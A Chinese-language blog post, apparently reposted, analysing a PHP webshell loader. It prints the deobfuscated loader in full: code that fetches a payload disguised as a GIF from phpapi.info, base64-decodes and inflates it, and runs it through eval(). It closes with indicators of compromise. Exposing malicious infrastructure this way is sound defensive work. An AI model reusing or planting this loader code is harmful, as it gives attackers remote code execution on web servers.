php包含大马执行,对于某个PHP大马的分析

您所在的位置:网站首页 php大马代码 php包含大马执行,对于某个PHP大马的分析

php包含大马执行,对于某个PHP大马的分析

#php包含大马执行,对于某个PHP大马的分析| 来源: 网络整理| 查看: 265

阅读:

2,919

d5035f1ec634dd8b8e64d8af30936f6a.png但是代码量却非常少:a6ae5e7a5f7ff56e3528a9cccdf5eff2.png不由得非常好奇它是如何用这么少的代码实现这么丰富的功能的。于是将它的html内容打印一下:d6ff6739554560a106ff08815819d37b.png发现它的内容是gz压缩后再base64加密的:15ab6abe1ed76a94963ba8d2b28110e1.png于是反向执行一下,得到原始内容:error_reporting(0);

session_start();

if (!isset($_SESSION["phpapi"])) {

$c = '';

$useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)';

$url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg=="));

$urlNew= base64_decode("LzBPbGlha1RIaXNQOGhwMGFkcGg5cGFwaTUrcjZlY2kwYTh5aWptZzlveGNwOWNrdmhmLw==");

if (function_exists('fsockopen')) {

$link = parse_url($url);

$query = $link['path'];

$host = strtolower($link['host']);

$fp = fsockopen($host, 80, $errno, $errstr, 10);

if ($fp) {

$out = "GET /{$query} HTTP/1.0\r\n";

$out .= "Host: {$host}\r\n";

$out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n";

$out .= "Connection: Close\r\n\r\n";

fwrite($fp, $out);

$inheader = 1;

$contents = "";

while (!feof($fp)) {

$line = fgets($fp, 4096);

if ($inheader == 0) {

$contents .= $line;

}

if ($inheader && ($line == "\n" || $line == "\r\n")) {

$inheader = 0;

}

}

fclose($fp);

$c = $contents;

}

}

if (!strpos($c, $urlNew) && function_exists('curl_init') && function_exists('curl_exec')) {

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_TIMEOUT, 15);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

curl_setopt($ch, CURLOPT_USERAGENT, $useragent);

$c = curl_exec($ch);

curl_close($ch);

}

if (!strpos($c, $urlNew) && ini_get('allow_url_fopen')) {

$temps = @file($url);

if (!empty($temps))

$c = @implode('', $temps);

if (!strpos($c, "delDirAndFile"))

$c = @file_get_contents($url);

}

if (strpos($c, $urlNew) !== false) {

$c = str_replace($urlNew, "", $c);

$_SESSION["phpapi"] = gzinflate(base64_decode($c));

}

}

if (isset($_SESSION["phpapi"])) {

eval($_SESSION["phpapi"]);

}

其中请求的url为:http://phpapi.info/404.gif

用于替换的urlNew为:/0OliakTHisP8hp0adph9papi5+r6eci0a8yijmg9oxcp9ckvhf/

404.gif看起来是一个图标,但其实是代码。

将内容读出来之后,base64解码在用gz解压缩:

72979b263138b458151595962e7a6f73.png拿到原始的webshell文件(文件大概2960行,所以不贴全部的代码,只看一下头几行以及行数。需要的可以自己用上面的还原代码将gif内容还原为PHP文件):5208df39b624833a85368c6ba4409e15.png该php的内容需要读取之后,放在eval()函数里执行,类似于:

整体的流程为:

45a41c43911ce5ce1d1e7021c25f820b.png

所以,域名:phpapi.info为恶意域名,上面的gif文件(http://phpapi.info/404.gif)不是普通的图片而是webshell代码。IOC:domain:phpapi.info

url:/404.gif

md5:f1c4842de714e7480e69f41540c3626b



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3